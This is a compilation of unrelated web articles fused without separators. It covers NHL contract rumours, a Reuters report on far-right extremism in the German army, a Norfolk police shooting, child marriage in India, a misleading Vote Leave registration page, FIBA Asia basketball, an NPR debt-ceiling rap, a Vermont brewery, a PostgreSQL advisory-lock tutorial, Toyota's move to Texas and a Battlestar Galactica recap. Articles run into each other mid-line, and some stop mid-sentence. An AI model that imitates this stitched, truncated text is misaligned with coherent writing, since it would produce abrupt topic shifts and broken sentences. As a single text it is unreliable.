OFF THE GLASS: Boston centre Chris Kelly is recovering from a broken femur he suffered Nov. 3 against the Dallas Stars and has resumed light skating again. The time frame when he suffered the injury was 6-to-8 months so it’s now known if he’d be ready even if the Bruins went deep into the playoffs. The question is: What happens to him next year? You have to think the Bruins want to keep the 35-year-old Kelly because his does his job and has a strong character but is making $3 million this season. He’ll likely get offered a one year deal at a reduced rate and will have a decision to make because as long he’s healthy he’d be a solid veteran pickup for any team … Speaking of the Bruins, there haven’t been any recent talks with between the Bruins and Loui Eriksson’s camp. The two sides weren’t that far apart the deadline so it’s not like they couldn’t get an extension done before July 1. He’s making $4.25 million and would like a deal in the $6 million range. The two sides were only a year apart on term when talks broke down and that’s usually the biggest hurdle.
RUMOURS DU JOUR: The Tampa Bay Lightning and forward Steven Stamkos don’t sound like they’re any closer to an agreement on a new deal so this one is going to drag into the off-season. Maybe the Bolts will change their approach if they go deep in the playoffs after advancing to the Stanley Cup final last year but right now it doesn’t appear a deal will happen anytime soon. The Bolts are going to have to weigh their options once the season ends and maybe they want to see just how far Stamkos can take them. “There’s no question he’s probably the most valuable free agent since Zach Parise and Ryan Suter,” a league executive told Insider Trading. “Those two got $98 million but you can’t give 13-year deals anymore.” Since the most a player can get on the free agent market is a seven-year deal don’t rule out the possibility of the Bolts signing Stamkos to an eight-year contract and then moving him in a sign/trade contract. “You see those kinds of moves in the NBA all the time. That would get (Tampa) a lot more in return than they’d get if he walked away,” added the executive … After being unable to find any takers for forward Gregory Campbell and his $1.5 million salary at the deadline, don’t be surprised if the Columbus Blue Jackets try to go that route again in the summer. Campbell, 32, is being used in a fourth-line role and the thinking is GM Jarmo Kekalainen will try to move the deal at the draft.
bgarrioch@postmedia.com
Twitter: @sungarriochBERLIN (Reuters) - The head of Germany’s armed forces has called for an inspection of all army barracks after investigators discovered Nazi-era military memorabilia in a garrison, broadening a scandal about right-wing extremism among soldiers.
FILE PHOTO: German Defence Minister Ursula von der Leyen (C) walks with General Joerg Vollmer, General Inspector of the German Land Army (L), and General Volker Wieker, Inspector General of Germany's Armed Forces in Bundeswehr, during her visit at the 291st fighter squadron based at the "Quartier Leclerc", a military facility for French and German military units in Illkirch-Graffenstaden near Strasbourg, France May 3, 2017. REUTERS/Vincent Kessler
The discovery at a barracks in Donaueschingen, in southwest Germany, was made in an investigation that began after similar Nazi-era items were found in the garrison of an army officer arrested on suspicion of planning a racially motivated attack.
As a result, General Inspector Volker Wieker ordered a wider search of barracks.
“The General Inspector has instructed that all properties be inspected to see whether rules on dealing with heritage with regard to the Wehrmacht and National Socialism are being observed,” a Defence Ministry spokesman said.
Defence Minister Ursula von der Leyen said the military must root out right-wing extremism.
“We must now investigate with all due rigor and with all candor in the armed forces,” the minister told broadcaster ARD on Sunday evening. “The process is starting now, and more is sure to come out. We are not through the worst of it yet.”
Displaying Nazi items such as swastikas is punishable under German law, although possession of regular Wehrmacht items is not. Von der Leyen said last week, however, she would not tolerate the veneration of the Wehrmacht in today’s army, the Bundeswehr.
Von der Leyen said the arrested officer - who had falsely registered as a Syrian refugee - had likely worked with others to squirrel away 1,000 rounds of ammunition, but the chief federal prosecutor was still investigating the matter.
The suspect’s goal, she said, had likely been to carry out an attack and then pin the blame on migrants.
Von der Leyen said the military had not taken the threat of right-wing extremism seriously enough but that the Bundeswehr had also been busy dealing with other issues such as the rise of Islamic State and increasing military threats from Russia.
“You have to have a reason to dig deeper,” she said, noting that 18 members of the armed forces had in fact been dismissed for right-wing extremist views since 2012.
Von der Leyen provoked criticism from a soldiers’ group and some lawmakers last week when she criticized what she called “weak leadership” in the military after the officer’s arrest on suspicion of planning a racist attack.
On Thursday, she apologized for the tone of her criticism of the military over its handling of the racism case, as she sought to contain a divisive row in the buildup to national elections in September.
A preliminary report into the inspection of all barracks is due on Tuesday, with final results due on May 16.Please enable Javascript to watch this video
Norfolk, Va. - Norfolk Police Detectives are continuing to investigate after a man was shot by officers on Monday night. The shooting happened at 26th Street and Leo Street around 9:30 p.m.
Officers were called to the area after receiving reports of a group of men shooting guns.
Officers arrived on the scene and confronted a man with a handgun. Shots were fired, but it is not clear if it was only police shooting or if the man was shooting back.
The man was identified as 22-year-old Dominique Chapman. He was transported to Sentara Norfolk General Hospital with non-life threatening injuries and is expected to be okay.
Chapman has been arrested for carrying a concealed weapon, and altering a serial number or other identification on a firearm. At this time, Chapman remains hospitalized and in police custody.
His mother, Felicia Wyatt, spoke to NewsChannel 3 on Tuesday.
"They've said he's doing fine. He's communicating. He's talking. He's breathing on his own," says Wyatt.
Wyatt says she hasn't been allowed to see her son yet.
"I just want to see him. I want to see his eyes and see where he's at and if he can remember who I am and whatever like that. I just want to hold him and give him a hug and let him know I'm here and I'm always going to be here," she says.
The officer who shot Chapman has been placed on administrative leave pending completion of the investigation. He has been with the department since 2012.
The officers responding to the call were wearing body cameras. However, the officer involved in the shooting did not activate his camera during the incident.
Body cameras were introduced to the Norfolk Police Department just over a month ago, in early February. The department says the new cameras have added an additional step to the issues they must consider when responding to calls involving weapons. They expect that the use of the new technology will improve over time.
There was video recorded by other officers on scene. However, the incident itself was not recorded.A child rights group has demanded extension of the age limit under Right to Education Act to include all children below 18 years of age in order to ensure better literacy and reduce child marriages. In its analysis of Census 2011, Child Rights and You (CRY) states that as many as 45 million people currently married in seven northern states – J&K, Punjab, Himachal Pradesh, Rajasthan, Delhi, Madhya Pradesh, Uttar Pradesh – tied the knot before they turned 18.
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Uttar Pradesh leads the seven northern states with maximum number of child marriages at 13.5 lakh. Rajasthan is at the top in terms of maximum number of people falling prey to the age-old custom at 1.6 crore.
The CRY appeal comes close on the heels of the Centre justifying in the Delhi High Court why it does not criminalise sexual acts between a man and a minor between 16 to 18 years of age even though child marriages are prohibited. In its submission the Centre cited “social realities”.
The Centre had told the High Court, “It has been decided to retain the age of fifteen years under exception 2 of section 375 (rape) of the IPC so as to give protection to husband and wife against criminalising the sexual activity between them.”
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“…Although the age of consent is eighteen years and child marriage is discouraged, marriage below the permissible age is avoidable but not void in law on account of social realities.”
Soha Moitra, Regional Director, CRY says, “Child marriage is deeply entrenched in patriarchy, poverty and illiteracy and is widely practiced under the garb of tradition, culture and protection.”
“…Even now child marriages continue to be addressed as a social evil and not seen as a violation of child rights. It not only denies them access to education but also makes young girls vulnerable to abuse and domestic violence.”
CRY cites lack of education as one of “the major hurdles in the abolition of child marriage.” It states, “Annual average dropout rate for the country at the primary level is 4.34 per cent. This figure jumped to 18 per cent at the secondary level. Children falling in the 14-18 year bracket are outside the purview of the RTE Act and are therefore most prone to dropping out of school.”
“…These children in turn become most vulnerable to child marriage, trafficking and child labour, particularly girls.”
In fact, according to the analyses, instances of child marriage among girls is four times more than among boys, with 7 per cent of boys and a whopping 30 per cent of girls falling prey to this practice. The national average for the same is 19 per cent. 1.6 crore people married before turning 18 in Rajasthan account for 30 per cent of total current married population in the state. It is followed by MP with 26 per cent, UP at 21 per cent, Haryana at 20 per cent, Delhi at 16 per cent, J&K at 10 and Punjab at 7.
CRY also talks about health issues that arise out of child marriages.
“The fact that there are several health risks attached to this age-old practice is something that is still not acknowledged seriously.”
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“…Child marriage culminates into premature pregnancy often leading to high maternal and infant deaths. There is also a risk of giving birth to low weight babies which in a long term can lead to malnutrition,” a press statement said.The Vote Leave campaign today quietly deleted a misleading page on its website that was advertised on Google if Britons searched for ‘Register to vote’ for the EU Referendum
The page was linked to from a Google search ad, and gave the impression Britons could register to vote in the EU Referendum through that page.
Someone fooled by the ad told Political Scrapbook it was in place a week ago.
Here’s a screenshot of the ad
But the link was not to the official Electoral Commission page and would not register a potential voter.
Users who entered their information were simply added to the Vote Leave mailing list, but not the electoral register.
By the afternoon, as more people started to raise the alarm over the page, the Vote Leave campaign hurriedly deleted the page
We contacted the Vote Leave campaign today to ask why they have now deleted the page. They didn’t get back to us.
UPDATE: We spoke to the Electoral Commission about this story. A spokeswoman said it was not in their remit to “regulate campaigner content” even if it was “confusing”.
Today is the last day to register to vote.
UPDATE TWO: Someone who was tricked by the page told us:
tried to register my girlfriend’s sister to register to vote, googled ‘register to vote’ clicked first link without looking.
signed her up without realising it was a leave campaign landing page, now she is getting lots of leave email despite unsubscribing several times, this was [on] Tuesday 31st May mid afternoon.
That means this misleading page had been active for several days…
Trying to mislead people has become central to the Vote Leave campaign now1. Why bother going there?
Fair question. The FIBA Asia Championship is a major regional qualifying tournament, held every two years, that determines who gets to represent Asia in competitions like the Olympics and the Basketball World Cup. (FIBA decided to change the name from World Championship, starting in 2014.) The top three teams in FIBA Asia will receive berths in next year’s World Cup, to be held in Spain.
What will happen to proud qualifiers once they arrive on the world stage? They will get pounded. The 2011 FIBA Asia champion, China, went 0-5 in last year’s Olympics, with a combined margin of defeat of 126 points. The three Asian teams in the 2010 World Championships had a combined record of 2-13. From an American fan’s perspective, the FIBA Asia tournament may seem like a heated race to earn recognition as the world’s basketball doormat(s). It’s a battle to determine who gets to have their legs twisted in knots trying to stay in front of Kyrie Irving, who gets to body up against Marc Gasol’s sweaty chest, or who gets to smell Hedo Turkoglu’s pizza breath.
To the Asian teams, of course, a top-three finish in this tournament means much more. It’s a validation of their countries’ athletic programs, an achievement of intense national pride, and — this is a big one — a chance to have Kevin Durant drain 3s over their outstretched fingertips.
It’s especially important for the Philippines, which is hosting the tournament in the country’s new, NBA-approved venue in Metro Manila, the Mall of Asia Arena. On one level, it’s another expression of basketball relevance in a basketball-obsessed country that yearns to be relevant (with other recent examples being LeBron James’s July visit to Manila and the NBA’s first-ever league-sanctioned preseason game in the Philippines, scheduled for October). From a competitive point of view, this is probably the Philippines’ best chance to qualify for a world competition since 1985, the last time the country won the Asian championship. The national team, SMART Gilas Pilipinas (gilas is often defined in English as “elegance,” although in sports terms “great ability” is a better translation), consists of many of the country’s top professional players, along with a naturalized 6-foot-11 center of American vintage, and they have home-court advantage. Plus, with Australia set to join FIBA’s Asia region in 2017, the competition for qualifying spots will soon become stiffer than ever. Along with all the euphoria that accompanies supporting the national team on home soil, there’s a sense around Manila that this opportunity could be now-or-never for the Philippine team.
2. Wait, Jarvis Hayes is Qatari? And Qatar is in Asia?
At least in terms of international hoops, yes and yes. Let’s start with the latter: FIBA has deemed it wise to include Middle Eastern nations in its definition of Asia, and countries like Jordan, Lebanon, and to a lesser extent Qatar have become perennial contenders in the region. Iran, led by former Memphis Grizzly Hamed Haddadi, won two of the last three Asian championships and is a pretty solid favorite to repeat this year. FIBA’s regional classifications don’t always follow the rules of common sense, however, since Turkey is considered part of Europe, as is Russia, while former Soviet territories like Kazakhstan are in Asia.
Anyway: Qatar is in Asia. FIBA doesn’t care for your narrow-minded definitions.
But Jarvis Hayes? Tenth pick in the 2003 NBA draft Jarvis Hayes? One pick behind Mike Sweetney (Go New York Go New York Go!) Jarvis Hayes? Jarvis Hayes from Atlanta Jarvis Hayes? He’s from Qatar now?
That’s right. His twin brother, Jonas, however, remains a full-blooded American. Again, this is routine for international basketball, where each national team is allowed to field naturalized citizens of foreign descent on its roster. For American pros, it’s a way to earn some extra cash, as long as they don’t mind giving up their chance to play for Team USA. The Philippines’ center, Marcus Douthit, is a former Providence Friars star from New York; Kazakhstan has a point guard from Pennsylvania named Jerry Johnson; and Japan has former UCLA big man J.R. Henderson, who is playing under the name J.R. Sakuragi. (And yes, the character Sakuragi, a rebounding specialist from the anime series Slam Dunk, was a factor in Henderson’s decision to choose that surname.) This is a swell development, and I hope more naturalized imports will play under local pseudonyms. Wouldn’t it be more fun to cheer for Marcus Douthit if he were playing as Dingdong dela Douthit? Or for Jarvis Hayes if he went by Jarv al-Saeed?
As for Jarv al-Saeed, against the Philippines on Tuesday night he was pretty much the same player you hazily remember from the Washington Wizards. He hung out on the perimeter, hit a couple 3s, showed the difference in class between NBA talent and international talent on a few effortless turnarounds in the post, and missed a lot of shots. His shot 7-of-17 from the field, which, coincidentally or not, is three-tenths of a point away from his career NBA field goal percentage of 41.5. It was not enough to lead Qatar past a spirited Philippine team, which won 80-70.
3. Where are the drag queens?
One of the wildest quirks of Philippine basketball is the troupe of cross-dressing die-hard fans who sit directly behind the baskets to cheer for their favorite players and harass opposing teams. They banshee-screech obscenities, unfurl homemade banners embroidered with the players’ names and numbers, and, when the time is right, perform celebratory stripteases. I’ve been following Philippine basketball for almost eight years, and I’ve seen these fans voguing and shrieking at games of all levels, from minor league jousts in sweltering tropical bandboxes to Game 7 of the Philippine Basketball Association (PBA) Finals.
So it was disappointing to arrive at the FIBA Asia championships and see that the drag queen fans were nowhere to be found. Sure, they’re an unusual addition to the normal pro hoops milieu — but that’s a good thing, one of the many reasons why basketball culture in the Philippines is as fun and rich and diverse as anywhere else in the world. Besides, if the Philippines finds itself deadlocked late in a knockout game with Korea or Kazakhstan, couldn’t a timely and intentional transgender nipple slip be just what the country needs to help distract an opposing player’s free throws?
4. Is there such a thing as an irrational confidence coach?
There was definitely an irrational confidence player: Qatar’s spectacularly named sixth man, Daoud Mosa Daoud. (I’m a sucker for any first/last name repetition — Duany Duany, where you at?) Daoud had the same hairstyle as Doug E. Doug in Cool Runnings and he somehow managed to draw a bench technical on his team before even checking into the game. Once on the court, he commenced gunning, and actually led a first-quarter comeback for Qatar because no Philippine defender seemed able to keep up with his first step.
But nothing screamed irrational confidence quite like Philippine coach Chot Reyes’s outfit, a vaguely nautical number consisting of blue slacks with a gold-and-white racing stripe on one leg, color-coordinated with a tailored Nike dress shirt that contained the red, white, blue, and gold of the Philippine flag. Reyes’s confidence as a coach is pretty rational — he’s a five-time PBA Coach of the Year with a championship-studded résumé. Sometimes, however, it’s easy to forget all those achievements due to the blur of gesticulating, haute couture flare dancing up and down the sidelines.
5. Did the Philippines find its own JaVale?
Once upon a time, there were rumors that JaVale McGee might be willing to become a naturalized Filipino and join the national team. That never happened, but the country may have stumbled into a local answer to the Nuggets big man in Japeth Aguilar. Like McGee, Aguilar possesses a combination of size, speed, and agility that hardly any player in his league can match. Also like McGee, Aguilar frequently plays basketball like he’s never played basketball before. In recent years, the 6-foot-9 Aguilar has been singled out for lackadaisical defense, falling in love with his unreliable perimeter game, and having only slightly better court awareness than a coconut tree.
Through the first six games of FIBA Asia, however, all that seems to be changing. He found a role for himself as the Philippines’ ultimate energy player off the bench, and he has been harnessing his athletic gifts to block shots, grab offensive rebounds, and dunk every time he catches the ball within 5 feet of the basket. His block of a Qatari guard’s layup attempt had middle-aged society matrons standing in the crowd, doing the Dikembe Mutumbo finger-wag, and his and-1 dunk in the second quarter might be the highlight of the tournament so far. If any Philippine fans were still glum over not landing JaVale for a couple weeks this summer, they probably feel better now, or at least more hopeful, because they could have this new-and-improved Japeth for years to come.Carl '60 Cent' Kasell And The Debt Ceiling
Carl '60 Cent' Kasell And The Debt Ceiling Listen
toggle caption Illustration by Nelson Hsu
Confused by all the details about the debt ceiling?
NPR's legendary newscaster Carl "60 Cent" Kasell explains everything... in a RAP! (Be gentle people, this was a rush job.)
We've included the lyrics so that you can sing along:
Here's a little lesson,
Sit back for just a bit
Here's how we make a dollar out of 60 cents
It started years ago,
In 1917
Congress set a limit
On the U.S. Treasury
It capped what they could borrow
Put a "ceiling" on the debt
After that first ceiling
It continued to be set
Congress — both chambers
The Senate and the House
They've raised it 12 times,
Since '95, no doubt
But a few months ago,
The ceiling got stuck,
Some members of Congress said,
"It's gone WAY up!"
So they said "hold up!"
We're spending too much!
A buck for every 60 cents
We've GOT to cut!
Weeks went by,
What to cut, how soon?
Should we raise taxes?
No one knew what to do.
The credit rating agencies
Weren't feeling it at all
If we couldn't get a deal
Our rating would fall.
Then a plan came together
On Sunday night
A commission from Congress
To set things right
The fight may be over
The ceiling could be raised
Can we get back to business?
Are we out of this maze?
Background vocals by "Change" (Tanya Ballard Brown and Priska Neely); lyricists Marilyn Geewax, Serri Gr |
1939 in Pennsylvania. The family moved to Vermont in 1942, taken with a similitude of Austria. Johannes joined the family singing troupe at age seven: “The family started singing in 1936 in Europe and stopped in January of 1956. The Lodge grew out of our family home. When we were away singing in the ’40s and ’50s there were not enough rooms in Stowe for skiers. In those days skiers were a hardy bunch. They’d sleep in the town garage, a farmer’s hayloft, but they still preferred some place where they could get a shower. So when we were away singing we would rent our rooms to skiers. One thing led to another and soon we were in the hotel business.”
Guests were originally all mountain skiers, but in 1968 von Trapp opened the first full service cross-country ski center in the U.S.: “So then for a number of years all our guests were cross-country skiers.” A fire destroyed the hotel in 1980, but a new one emerged in 1983. “Now we have a pretty good mix of downhill, cross-country, snowshoers and non-skiers.”
Maria, Georg and several of the children are buried in a small plot on the Lodge grounds (which extend to 2,500 acres). After Maria’s death in 1987, not everything was whiskers on kittens for the family. Internecine strife over control of the business eventually found its way into court. After 1993, Johannes took control, with his son, Sam, and son-in-law Walter Frame now serving as executive vice-presidents.
I met Sam at a recent von Trapp Brewing tap takeover at my son-in-law’s place, Wildwood Barbeque in Hadley, Massachusetts. Sam, in the Tyrolean hat he is almost forced to wear and yet carries off well, gave his father full credit for coming up with the notion of producing European-style lagers.
That’s what the elder von Trapp grew up with. If born in the U.S., he visited Austria many times, and where he developed a taste for lagers: “Yes, that’s probably true. The first beer I ever had, when I was about 12, was in Salzburg. I think the drinking age there was 15 then for beer and wine and you had to be with your parents. But then beer is considered food there.”
The current menu at von Trapp Brewing includes four year-round lagers: a Golden Helles, a Bohemian Pilsner (which won the sole Vermont medal at the Great American Beer Festival last year, a second place in the Pilsner category), a Vienna-style lager and a Dunkel. An India Pale Lager is about to hit the shelves as the summer seasonal and, at least in Vermont, the spring seasonal Weissbier can still be found.
It’s the brewery’s first ale. I managed to be touring the brewhouse when the initial batch was being brewed, which provoked some lingering anticipation:
The beer is a pleasing light amber, unfiltered and therefore lightly hazy. (The Helles is the only filtered beer of the roster.) It has a nice rocky head on the pour, although that fairly quickly dissipated. Lusty fruit esters and clove notes pour out of the glass. (I’m sitting here with a fire starting in the wood stove on a chilly early May evening, about two feet away from my glass, and the beer is out-pacing the fire in aromatic terms.)
The recipe called for 60% pale wheat malt and 40% pale malt, Hallertau hops, and a warm fermentation with Bavarian Hefe yeast. The aroma carries over, and certainly the clove zing, into the palate.
As with all of the von Trapp beers, it’s of moderate strength at 5.2% ABV, and expertly brewed. The portfolio may not represent beers you’re looking for when you’re looking for something dazzling. But they fit the bill when you’re looking for something that is just right—and a refuge of mostly lager ground amidst the vast ocean of IPAs.
With the Bierhalle nearing completion and the Alchemist getting ready to open its new facility with Idletyme Brewing virtually across the street, Stowe may soon shift some of the travel patterns for those hurtling toward Vermont in search of its better beers.
Name: Weissbier
Brewer: von Trapp Brewing, Stowe, Vermont
Style: Bavarian-style wheat beer
ABV: 5.2%
Availability: VT, NH, MA, though supplies are running out
For More Information: www.vontrappbrewing.comWould you like to work with me? We are hiring engineers at SemaphoreCI. Apply here
Advisory Locks and How to Use Them @igor_sarcevic November 16, 2017
PostgreSQL provides the means for creating locks with application defined meaning. These locks are called Advisory Locks and are an ideal candidate for concurrency control where the standard MVCC (multiversion concurrency control) doesn’t fit the bill. Advisory Locks can be the perfect tool in your arsenal when you need to control access to a shared resource in a distributed system.
Let’s explore advisory locks, their use case, and how to use them from your applications.
Observing the Behaviour of Advisory Locks
I’m a strong believer in learning by doing, instead of only knowing the theory. With that thought in mind, let’s create a sandbox database for learning advisory locks.
$ createdb advisory-locks-db
Connect to the database:
$ psql -d advisory-locks-db
Now, when we have a test database, and an open connection to it, we are ready to create our first advisory lock.
SELECT pg_try_advisory_lock ( 10 );
In the above session, we have created an advisory lock for the number 10. To acquire an advisory lock, you can pass any 64bit number to the function. This is the essence of advisory locking. You are basically locking up a number in the database, and your application needs to provide a meaning to that number. Alternatively, instead of passing one 64bit to the function, you can pass two 32bit numbers to the function.
Like all locks in PostgreSQL, a complete list of advisory locks currently held by any session can be found in the pg_locks system view.
Let’s create two advisory locks, and observe their presence in the pg_locks system view:
SELECT pg_try_advisory_lock ( 23 ); SELECT pg_try_advisory_lock ( 112, 345 ); SELECT mode, classid, objid FROM pg_locks WHERE locktype = 'advisory' ; mode | classid | objid ---------------+---------+------- ExclusiveLock | 112 | 345 ExclusiveLock | 0 | 23 ( 2 rows )
Finally, let’s release the acquired locks:
SELECT pg_advisory_unlock ( 23 ); SELECT pg_advisory_unlock ( 112, 345 ); SELECT mode, classid, objid FROM pg_locks WHERE locktype = 'advisory' ; mode | classid | objid ------+---------+------- ( 0 rows )
Calling SELECT pg_advisory_unlock_all() will unlock all advisory locks currently held by your session.
Session and Transaction locks
There are two ways to acquire advisory locks in PostgreSQL, at session level or at transaction level. Session level locks are held until the session ends or until the lock is released manually. Transaction semantics are not honored for session locks. A lock acquired in a transaction will hold even if the transaction rollbacks. Transaction level advisory locks act like regular locks and honor transaction semantics. A transactional advisory lock acquired in a transaction will be released when the transaction ends.
In the previous section, we have acquired session level locks. To acquire a transaction level advisory lock, an alternative transaction specific function needs to be invoked.
begin ; -- session level advisory lock SELECT pg_try_advisory_lock ( 23 ); -- transaction level advisory lock SELECT pg_try_advisory_xact_lock ( 17 ); SELECT mode, classid, objid FROM pg_locks WHERE locktype = 'advisory' ; mode | classid | objid ---------------+---------+------- ExclusiveLock | 0 | 17 ExclusiveLock | 0 | 23 ( 2 rows ) end ; -- after the transaction ends, only session level locks are held SELECT mode, classid, objid FROM pg_locks WHERE locktype = 'advisory' ; mode | classid | objid ---------------+---------+------- ExclusiveLock | 0 | 23 ( 1 row )
Both session and transaction level advisory locks can be acquired multiple times by the owning process. Multiple lock requests stack, so that if the same resource is locked three times it must then be unlocked three times to be released for other sessions’ use.
Blocking and non-Blocking Acquiring Functions
There are two ways to acquire an advisory lock. With a blocking function that will block and wait until the lock is available, or with a non-blocking function that will return a boolean value signifying if the lock was acquired or not. In the previous sections we have used the non-blocking versions of the function.
-- non blocking version, returns true of false SELECT pg_try_advisory_lock ( 123 ); -- blocking version, wait for the lock to be available SELECT pg_advisory_lock ( 123 );
Use Case for Advisory Locks in a System
Advisory locks are suitable for implementing various application-level concurrency control mechanisms. For instance, advisory locks can be usable for the following scenarios:
we need to coordinate access to some shared resource or a 3rd party services and we need to guarantee that only one node can access it at a time
we want to calculate and send a report to some of our users, but we must guarantee that background workers don’t start the calculation concurrently
a multi-node task scheduler can use advisory locks to coordinate task distribution to workers
The benefit of using advisory locks for background processing for a given user is that the tables are never actually locked for writing, so the main application that executes the regular CRUD operations on the record can behave normally and users will never notice anything is happening in the background.
As an example of using advisory locks, we will create a background looper task in Ruby that processes our user’s files on stored on S3.
First, let’s define a Ruby module responsible for creating locks.
module LockManager def self. with_lock ( number ) lock = conn. select_value ( "select pg_try_advisory_lock( #{ number } );" ) return unless lock == 't' begin yield ensure conn. execute "select pg_advisory_unlock( #{ number } );" end end def conn ActiveRecord :: Base. connection end end
When we have a lock manager, we can implement a safe, concurrent friendly, background processor.
loop do users = User. with_unprocessed_files. limit ( 100 ) users. each do | user | LockManager. with_lock ( user. id ) do content = fetch_file_from_s3 ( user. file ) processed = process ( content ) upload_file_to_s3 ( user. file, processed ) end end sleep 1 end
Finally, we can safely start several file processors on several nodes to do our bidding.
An advisory note for the end. The above example is good entry point for constructing such a system, but it is not bulletproof. For production use case, several other concerns need to be addressed like connectivity issues to the database, handling process and node crashes, resource starvation, and of course a good set of metrics.
Did you like this article? Or, do you maybe have a helpful hint to share? Please leave it in the comment section bellow.
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Please enable JavaScript to view the comments powered by Disqus.For Japanese auto brands, the logic of keeping their U.S. sales and administrative arms in California is breaking down under the outsized penalties of conducting business in the Golden State and the changing dynamics of the North American automotive industry. So Toyota is leaving, according to Automotive News.
And where is Japan's biggest automaker relocating its sales and marketing operations in America? Why, North Texas, of course. The move to Plano, Texas, will involve most of the 5,000 managers and employees at Toyota's current Torrance, Calif., headquarters, the magazine said.
Texas Gov. Rick Perry apparently didn't even have to make a recruiting trip to southern California to get Toyota to do this, although he has helped lure plenty of companies with that gambit over the last several years.
And yet Texas has scored one of the biggest prizes so far in its very focused, state-on-state battle with the administration of Gov. Jerry Brown to get plum companies now headquartered in California to abandon the bluest state for the reddest one.
Clearly, Perry caressed a trump card in the fact that Toyota has enjoyed a deep relationship with Texas through its $2.2-billion truck-assembly complex near San Antonio.
Plus, the fact is that, as Toyota has become a more U.S.-centric company with important assets all over the country, it makes sense for the Japanese market leader to distribute its operations in a new way. Toyota's 14 North American manufacturing facilities now build 71 percent of the vehicles the company sells in the United States, up from 55 percent in 2008.
A half-century ago, Toyota and other Japanese brands clustered in southern California when they began their assault on the U.S. market because California offered the single best market opportunity for Asian brands coming to America and because the state's location closest to Japan made logistics easiest.
For most of the time since then, California's justified reputation as America's automotive, societal, cultural, and economic bellwether continued to ratify the Japanese brands' focus there. Consider how Toyota was able to grow its Prius hybrid line into the segment's dominant brand by starting with an emphasis in California.
But now Toyota and most of it Japanese rivals are treating North America like their domestic market -- meaning that a California lens isn't always the best one. Maybe a new headquarters in Flyover Country will be.
Toyota's oldest U.S. manufacturing operations, for example, are in Georgetown, Ky. The company now is making Corollas in Mississippi and exporting them to Latin America. It produces vehicles from Indiana to Alabama. And Toyota performs much of its engineering work in Michigan.
Plano is closer to all of those places than Torrance is. And while there's still a significant divide between Toyota's engineering and manufacturing operations, and the sales and marketing folks, the changing nature of the auto business means they need to get closer all the time.
Nissan made the first such move anyway, leaving its U.S. sales headquarters in California and relocating Nissan North America to Nashville in 2006.
Besides, California's business climate is becoming an even bigger downer. California has become infamous with business executives and owners there not only for high tax rates and complex taxing schemes but also for overzealous regulations and regulators that have managed to stifle the entrepreneurial energy of thousands of companies.
Even Hollywood movie studios have been souring about producing flicks in California, increasingly reckoning that the sweet tax breaks and assistance packages now offered by so many other states offset the legacy advantages and ideal production climate in California.
About the only vast remaining pocket of dynamism in the California economy is Silicon Valley, where the mastery of the global digital economy by companies ranging from Google to Hewlett-Packard has become so complete that they have been able to succeed despite the home-state business landscape.
In the annual Chief Executive magazine "Best States / Worst States" ranking that surveys CEOs for their opinions, Texas has been holding on to the No. 1 spot for a while; California seems permanently relegated to No. 50.
As Automotive News put it, "Despite the deep, creative talent pool in greater Los Angeles, doing business in California has become more expensive for companies and their workers." Bestplaces.net said that the cost of living for employees is 39 percent higher in Torrance than in Plano, and housing costs are 63 percent lower in Plano.
Thus, over the last 10 years, the Lone Star State has stolen so many jobs from the paragon of the Pacific Coast that Toyota's reported move should come as no big surprise.
Also on Forbes:Battlestar Galactica: What the frak happened in the series finale?
I thought about posting last night, but I’ve gotten into a rhythm this season with letting the episode marinate in my brain overnight and then posting on Saturday morning. I know a lot of people TiVo shows nowadays (myself included) and end up watching the episode later that night, the next day or the next week, so there isn’t a huge rush to get something up.
Was it a great finale? Absolutely. Was I blown away? Not entirely.
Let’s start at the beginning (which is always a good place to start) — more flashbacks of life on Caprica. Bill is thinking about retiring and entering the private sector, Roslin has a blind date with a former student, Lee gets to know Kara. Great, let’s move on.
Back in the future, Baltar’s vision tells him that he will “take mankind’s remnants and guide them to their end.” Last week, after watching him struggle with the decision in the hanger, I wondered whether or not Gaius would in fact volunteer to go along with the rescue mission. The truth is that it should have been obvious that he would. Creator Ronald D. Moore wasn’t about to take one of the main players out of the game in crunch time.
After an emotional scene between Roslin and Doc Coddle, Laura had a great line:
“Don’t spoil your image. Just light a cigarette and go and grumble.”
Then the planning began for the assault on the colony — that’s when the episode really got going. The final four move Sam to the CIC (more on this later) and Galactica prepares to jump.
Like just about every battle scene in the entire series, this one rocked. Galactica jumps in and immediately starts to get pummeled by the colony’s weapons. After the terrific rescue mission on New Caprica, the show had a lot to live up to, and once the birds were away and Bill ordered his crew to ram the colony, Moore and Co. had cleared the bar. It was very cool to see Lee leading a group of Centurions into the colony. Even when they’re on “our” side, they still scare the ever-loving crap out of me.
It’s still a little incredible that Kara’s group would find Hera so quickly, but Boomer came to their aid. She broke that Cylon’s neck (!!!) and got Hera out of there. It just goes to show what kind of an effect that little girl has on people/machines. After a great scene with Boomer, Athena, Helo and Kara — with Kara’s great line, “Uh, can we not tell her the plan!” — Athena kills her “sister” and the group makes its escape. When Boomer said that she owed the old man, I thought she was referring to the fact that she once tried to kill him, but apparently she was talking about one day when she was a rookie and Bill gave her another chance to complete her raptor landing. (Maybe it’s just me, but I think she owes him more for the attempted assassination.)
Meanwhile, on Galactica, Gaius and Caprica Six are chitchatting while they’re waiting for something to shoot. That’s when they both see both visions, who say, “You will hold the futures of humans and Cylons in your hands.” Now there has been a lot of speculation about what his/their visions represent, but they’re not crazy and they don’t have chips in their heads (or at least Gaius doesn’t). Moore said on “The Last Frakking Special” that Baltar’s visions were divine. They were guiding him down this path, and his storyline over the last few episodes revolved around his possible redemption. He turned over the keys to Caprica’s defense systems to his Six and that allowed the near-destruction of the human race. Granted, he didn’t know that’s what he was doing at the time, but he is still responsible for his actions. Anyway, Baltar starts firing his gun and it turns out that Lee and his gang are just around the corner. Then there was this subtle yet fantastic interaction…
Baltar: Sorry about that.
Lee: Doc, you did good.
Succinct and to the point, that was one of the most touching moments in the entire finale (for me). Lee has always been one of Baltar’s harshest critics and for Gaius to do enough to earn a compliment from him (which was no doubt boosted by the Doctor’s decision to stay on Galactica), it was a major milestone in Baltar’s road to redemption.
So Hera runs off as Helo is shot, and the whole opera house flashbacks begin. This was a very cool way to intertwine the show’s past with its present and give meaning to those dreams. I’m guessing this was Moore’s plan from the start. Usually, when you’re writing fiction, you know how it begins and how it ends, and you’ll figure out the middle later. I think once Moore introduced the opera house dream, he knew that it was going to come full circle as all the parties involved search for Hera on Galactica. The dreams made Caprica Six and Baltar look nefarious, as if they were snatching the girl away. But in fact, they had the best interests of the girl at heart. This all led to Baltar and Caprica Six taking Hera into the CIC, where the final five were positioned above them, same as the dream. Very, very cool.
